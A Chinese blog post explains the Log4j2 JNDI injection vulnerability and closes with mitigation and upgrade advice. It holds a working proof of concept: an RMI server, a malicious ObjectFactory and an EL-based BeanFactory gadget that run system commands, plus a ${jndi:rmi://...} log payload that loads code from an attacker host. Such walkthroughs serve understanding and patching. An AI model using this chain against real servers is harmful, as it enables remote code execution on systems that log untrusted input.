起因
这两天被log4j2的漏洞给刷屏了,就像下面这样
但是很少有人提及这个漏洞到底是怎么回事儿。log4j2最为非常顶尖的日志框架,怎么会出现这种级别的漏洞呢?了解过漏洞的原理之后我发现,这应该算是一种低级漏洞了。原理就是JNDI代码注入。不过我也是先刷到了大都督的视频才了解了原因的Log4j高危漏洞!具体原因解析!全网第一!不得不说,大都督还是叼。
漏洞问题重现
依赖
首先,先码一下依赖,我这里是gradle工程,大都督的是maven工程,不过都一样。
//今天的主角,log4j2
implementation 'org.apache.logging.log4j:log4j-core:2.13.3'
implementation 'org.apache.logging.log4j:log4j-api:2.13.3'
//下面这俩不重要,主要是为了提高逼格的
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.11'
implementation 'org.glassfish:jakarta.el:3.0.3'
常规的日志写法
一般来说我们是这么写日志的。因为这个demo我仅仅只依赖了log4j2,所以代码就直接调用log4j2的api记录日志了。
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String content = "world";
logger.trace("hello {}",content);
}
}
上面这个应该是我们非常常用的一种日志记录手法了。输出的结果应该是hello world
lookups
不过log4j2并不满足上面的功能,他们提供了一种叫lookups
的功能log4j2的lookups说明。
这功能强大啊,我们用demo看一下:
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String content = "world";
logger.trace("hello {}",content);
//https://logging.apache.org/log4j/2.x/manual/lookups.html
String content2 = "${java:os}";
logger.trace("hello {}",content2);
String content3 = "${java:vm}";
logger.trace("hello {}",content3);
}
}
我们看下输出的结果:
2021-12-11 20:03:29.751 [main] TRACE [13] - hello world
2021-12-11 20:03:29.755 [main] TRACE [17] - hello Windows 10 10.0, architecture: amd64-64
2021-12-11 20:03:29.756 [main] TRACE [19] - hello Java HotSpot(TM) 64-Bit Server VM (build 25.261-b12, mixed mode)
从结果上可以看到,输出的并不是hello ${java:os}
和hello ${java:vm}
,而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样,那也算不上什么漏洞,只能说功能强大而已。
Jndi Lookup
但是,log4j2还支持了Jndi Lookup
这就很要命了。为了观察这个问题,我们先启动个JNDI的服务看看
public class SimpleJndiServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("create rmi 1099");
Reference reference = new Reference("com.skyline.log4j2.demo.jndi.JndiObj", "com.skyline.log4j2.demo.jndi.JndiObj", null);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("demo", wrapper);
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
}
public class JndiObj implements ObjectFactory {
static {
System.out.println("this is JndiObj,i'm here!");
try {
//打开远程链接
Runtime.getRuntime().exec("mstsc");
} catch (IOException e) {
e.printStackTrace();
}
}
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return new JndiObj();
}
@Override
public String toString() {
return "JndiObj{" +
"name='" + name + '\'' +
'}';
}
}
然后,我们再写日志
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//JNDI注入参考链接
//https://blog.csdn.net/caiqiiqi/article/details/105976072
//192.168.31.13为客户端ip(攻击者ip),不是服务ip
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String content4 = "${jndi:rmi://192.168.31.13:1099/demo}";
logger.trace("hello {}",content4);
}
}
可以看到这次我日志中的内容变成了${jndi:rmi://192.168.31.13:1099/demo}
,这里需要注意的是192.168.31.13是我的本机ip,也就是攻击者的ip。效果如下:
通过log4j2调用JNDI服务,我成功的打开了一个远程桌面。而且我写在JndiObj
对象上的日志信息是输出在我的日志服务上的。也就是说,通过JNDI我(攻击者)成功的上传了自己的代码到用户服务中,这就很可怕了。
前面之所以打开的是远程桌面是因为在这里我是这么写的,但是,如果我写点别的呢?
很多时候我们记录在日志中的动态参数都是对象,这些对象可能是从前端或者别的服务请求过来的。比如一个登录接口,如果User对象中的userName的值就是我们上面写的${jndi:rmi://192.168.31.13:1099/demo}
,那后果真的是不堪设想…所以说是核弹级漏洞,也不算过分。
-
附一个高逼格的JNDI代码注入写法:
主要就是用到了implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.11' implementation 'org.glassfish:jakarta.el:3.0.3'
代码如下:
public class EvalJndiServer { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098); //通过EL打开计算器 ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "a=eval")); resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("EvalObj", referenceWrapper); } catch (RemoteException | NamingException | AlreadyBoundException e) { e.printStackTrace(); } } }
漏洞补救
log4j2.formatMsgNoLookups=true
按照官方api解释说明,当这个值为true时,就不执行lookup了。
2.防火墙,禁止应用服务访问奇怪的ip
漏洞解决
升级到2.17.1
implementation "org.apache.logging.log4j:log4j-core:2.17.1"
implementation "org.apache.logging.log4j:log4j-api:2.17.1"
implementation "org.apache.logging.log4j:log4j-jul:2.17.1"
implementation "org.apache.logging.log4j:log4j-slf4j-impl:2.17.1"
感谢@古攵鄉白勺雲的提醒